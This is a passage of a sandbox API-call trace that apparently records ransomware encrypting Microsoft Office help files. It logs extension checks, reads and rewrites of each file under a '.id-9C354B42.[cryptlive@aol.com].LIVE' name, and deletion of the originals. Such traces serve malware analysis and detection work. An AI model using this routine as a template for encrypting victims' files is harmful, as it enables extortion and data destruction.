[0142.706] lstrlenW (lpString=".docx") returned 5 [0142.706] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0142.706] lstrlenW (lpString=".pdf") returned 4 [0142.706] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0142.706] lstrlenW (lpString=".xls") returned 4 [0142.706] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0142.706] lstrlenW (lpString=".xlsx") returned 5 [0142.706] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0142.706] lstrlenW (lpString=".ppt") returned 4 [0142.706] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0142.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0142.706] lstrlenW (lpString=".zip") returned 4 [0142.706] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0142.706] lstrlenW (lpString=".rar") returned 4 [0142.706] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0142.706] lstrlenW (lpString=".bz2") returned 4 [0142.706] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0142.706] lstrlenW (lpString=".7z") returned 3 [0142.706] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0142.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0142.706] lstrlenW (lpString=".dbf") returned 4 [0142.706] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0142.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0142.706] lstrlenW (lpString=".1cd") returned 4 [0142.706] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0142.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0142.706] lstrlenW (lpString=".jpg") returned 4 [0142.707] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0142.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0142.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0142.707] lstrlenW (lpString=".doc") returned 4 [0142.707] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0142.707] lstrlenW (lpString=".docx") returned 5 [0142.707] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0142.707] lstrlenW (lpString=".pdf") returned 4 [0142.707] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0142.707] lstrlenW (lpString=".xls") returned 4 [0142.707] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0142.707] lstrlenW (lpString=".xlsx") returned 5 [0142.707] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0142.707] lstrlenW (lpString=".ppt") returned 4 [0142.707] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0142.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0142.707] lstrlenW (lpString=".zip") returned 4 [0142.707] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0142.707] lstrlenW (lpString=".rar") returned 4 [0142.707] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0142.707] lstrlenW (lpString=".bz2") returned 4 [0142.707] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0142.707] lstrlenW (lpString=".7z") returned 3 [0142.707] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0142.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0142.707] lstrlenW (lpString=".dbf") returned 4 [0142.707] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0142.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0142.707] lstrlenW (lpString=".1cd") returned 4 [0142.707] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0142.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0142.707] lstrlenW (lpString=".jpg") returned 4 [0142.707] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0142.708] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0142.708] lstrlenW (lpString="MSACCESS.DEV_K_COL.HXK") returned 22 [0142.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0142.708] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=113) returned 1 [0142.708] CloseHandle (hObject=0x380) returned 1 [0142.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_k_col.hxk")) returned 0x20 [0142.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0142.709] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.709] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0142.709] GetLastError () returned 0x0 [0142.709] ReadFile (in: hFile=0x380, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x71, lpOverlapped=0x0) returned 1 [0142.710] WriteFile (in: hFile=0x3ac, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x80, lpOverlapped=0x0) returned 1 [0142.711] ReadFile (in: hFile=0x380, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.711] WriteFile (in: hFile=0x3ac, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x100, lpOverlapped=0x0) returned 1 [0142.711] SetEndOfFile (hFile=0x3ac) returned 1 [0142.711] CloseHandle (hObject=0x3ac) returned 1 [0142.711] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.711] SetEndOfFile (hFile=0x380) returned 1 [0142.716] CloseHandle (hObject=0x380) returned 1 [0142.716] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.716] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_k_col.hxk")) returned 1 [0142.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0142.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0142.716] lstrlenW (lpString=".doc") returned 4 [0142.717] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0142.717] lstrlenW (lpString=".docx") returned 5 [0142.717] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0142.717] lstrlenW (lpString=".pdf") returned 4 [0142.717] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0142.717] lstrlenW (lpString=".xls") returned 4 [0142.717] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0142.717] lstrlenW (lpString=".xlsx") returned 5 [0142.717] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0142.717] lstrlenW (lpString=".ppt") returned 4 [0142.717] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0142.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0142.717] lstrlenW (lpString=".zip") returned 4 [0142.717] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0142.717] lstrlenW (lpString=".rar") returned 4 [0142.717] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0142.717] lstrlenW (lpString=".bz2") returned 4 [0142.717] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0142.717] lstrlenW (lpString=".7z") returned 3 [0142.717] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0142.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0142.717] lstrlenW (lpString=".dbf") returned 4 [0142.717] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0142.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0142.717] lstrlenW (lpString=".1cd") returned 4 [0142.717] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0142.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0142.717] lstrlenW (lpString=".jpg") returned 4 [0142.717] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0142.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0142.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0142.717] lstrlenW (lpString=".doc") returned 4 [0142.717] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0142.717] lstrlenW (lpString=".docx") returned 5 [0142.717] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0142.717] lstrlenW (lpString=".pdf") returned 4 [0142.718] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0142.718] lstrlenW (lpString=".xls") returned 4 [0142.718] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0142.718] lstrlenW (lpString=".xlsx") returned 5 [0142.718] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0142.718] lstrlenW (lpString=".ppt") returned 4 [0142.718] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0142.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0142.718] lstrlenW (lpString=".zip") returned 4 [0142.718] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0142.718] lstrlenW (lpString=".rar") returned 4 [0142.718] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0142.718] lstrlenW (lpString=".bz2") returned 4 [0142.718] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0142.718] lstrlenW (lpString=".7z") returned 3 [0142.718] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0142.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0142.718] lstrlenW (lpString=".dbf") returned 4 [0142.718] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0142.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0142.718] lstrlenW (lpString=".1cd") returned 4 [0142.718] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0142.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0142.718] lstrlenW (lpString=".jpg") returned 4 [0142.718] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0142.718] lstrcmpiW (lpString1=".HXS", lpString2=".LIVE") returned -1 [0142.718] lstrlenW (lpString="MSACCESS.HXS") returned 12 [0142.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0142.719] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=3877906) returned 1 [0142.719] CloseHandle (hObject=0x380) returned 1 [0142.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.hxs")) returned 0x20 [0142.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.719] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0142.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0142.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0142.720] lstrlenW (lpString=".doc") returned 4 [0142.720] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0142.720] lstrlenW (lpString=".docx") returned 5 [0142.720] lstrcmpiW (lpString1=".docx", lpString2="S.HXS") returned -1 [0142.720] lstrlenW (lpString=".pdf") returned 4 [0142.720] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0142.720] lstrlenW (lpString=".xls") returned 4 [0142.720] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0142.720] lstrlenW (lpString=".xlsx") returned 5 [0142.720] lstrcmpiW (lpString1=".xlsx", lpString2="S.HXS") returned -1 [0142.720] lstrlenW (lpString=".ppt") returned 4 [0142.720] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0142.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0142.720] lstrlenW (lpString=".zip") returned 4 [0142.720] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0142.720] lstrlenW (lpString=".rar") returned 4 [0142.720] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0142.720] lstrlenW (lpString=".bz2") returned 4 [0142.720] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0142.720] lstrlenW (lpString=".7z") returned 3 [0142.720] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0142.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0142.720] lstrlenW (lpString=".dbf") returned 4 [0142.720] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0142.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0142.720] lstrlenW (lpString=".1cd") returned 4 [0142.720] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0142.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0142.720] lstrlenW (lpString=".jpg") returned 4 [0142.720] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0142.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0142.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0142.721] lstrlenW (lpString=".doc") returned 4 [0142.721] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0142.721] lstrlenW (lpString=".docx") returned 5 [0142.721] lstrcmpiW (lpString1=".docx", lpString2="S.HXS") returned -1 [0142.721] lstrlenW (lpString=".pdf") returned 4 [0142.721] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0142.721] lstrlenW (lpString=".xls") returned 4 [0142.721] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0142.721] lstrlenW (lpString=".xlsx") returned 5 [0142.721] lstrcmpiW (lpString1=".xlsx", lpString2="S.HXS") returned -1 [0142.721] lstrlenW (lpString=".ppt") returned 4 [0142.721] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0142.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0142.721] lstrlenW (lpString=".zip") returned 4 [0142.721] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0142.721] lstrlenW (lpString=".rar") returned 4 [0142.721] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0142.721] lstrlenW (lpString=".bz2") returned 4 [0142.721] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0142.721] lstrlenW (lpString=".7z") returned 3 [0142.721] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0142.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0142.721] lstrlenW (lpString=".dbf") returned 4 [0142.721] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0142.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0142.721] lstrlenW (lpString=".1cd") returned 4 [0142.721] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0142.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0142.721] lstrlenW (lpString=".jpg") returned 4 [0142.721] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0142.721] lstrcmpiW (lpString1=".HXC", lpString2=".LIVE") returned -1 [0142.722] lstrlenW (lpString="MSACCESS_COL.HXC") returned 16 [0142.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0142.722] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=636) returned 1 [0142.722] CloseHandle (hObject=0x380) returned 1 [0142.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxc")) returned 0x20 [0142.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxc.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0142.722] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.723] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxc.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0142.723] GetLastError () returned 0x0 [0142.723] ReadFile (in: hFile=0x380, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x27c, lpOverlapped=0x0) returned 1 [0142.725] WriteFile (in: hFile=0x3ac, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x280, lpOverlapped=0x0) returned 1 [0142.726] ReadFile (in: hFile=0x380, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.726] WriteFile (in: hFile=0x3ac, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0142.726] SetEndOfFile (hFile=0x3ac) returned 1 [0142.726] CloseHandle (hObject=0x3ac) returned 1 [0142.726] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.726] SetEndOfFile (hFile=0x380) returned 1 [0142.728] CloseHandle (hObject=0x380) returned 1 [0142.728] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.729] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxc")) returned 1 [0142.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0142.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0142.729] lstrlenW (lpString=".doc") returned 4 [0142.729] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0142.729] lstrlenW (lpString=".docx") returned 5 [0142.729] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0142.729] lstrlenW (lpString=".pdf") returned 4 [0142.729] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0142.729] lstrlenW (lpString=".xls") returned 4 [0142.729] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0142.729] lstrlenW (lpString=".xlsx") returned 5 [0142.730] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0142.730] lstrlenW (lpString=".ppt") returned 4 [0142.730] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0142.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0142.730] lstrlenW (lpString=".zip") returned 4 [0142.730] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0142.730] lstrlenW (lpString=".rar") returned 4 [0142.730] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0142.730] lstrlenW (lpString=".bz2") returned 4 [0142.730] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0142.730] lstrlenW (lpString=".7z") returned 3 [0142.730] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0142.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0142.730] lstrlenW (lpString=".dbf") returned 4 [0142.730] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0142.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0142.730] lstrlenW (lpString=".1cd") returned 4 [0142.730] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0142.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0142.730] lstrlenW (lpString=".jpg") returned 4 [0142.730] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0142.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0142.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0142.730] lstrlenW (lpString=".doc") returned 4 [0142.730] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0142.730] lstrlenW (lpString=".docx") returned 5 [0142.730] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0142.730] lstrlenW (lpString=".pdf") returned 4 [0142.730] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0142.730] lstrlenW (lpString=".xls") returned 4 [0142.730] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0142.730] lstrlenW (lpString=".xlsx") returned 5 [0142.730] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0142.730] lstrlenW (lpString=".ppt") returned 4 [0142.730] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0142.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0142.731] lstrlenW (lpString=".zip") returned 4 [0142.731] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0142.731] lstrlenW (lpString=".rar") returned 4 [0142.731] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0142.731] lstrlenW (lpString=".bz2") returned 4 [0142.731] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0142.731] lstrlenW (lpString=".7z") returned 3 [0142.731] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned 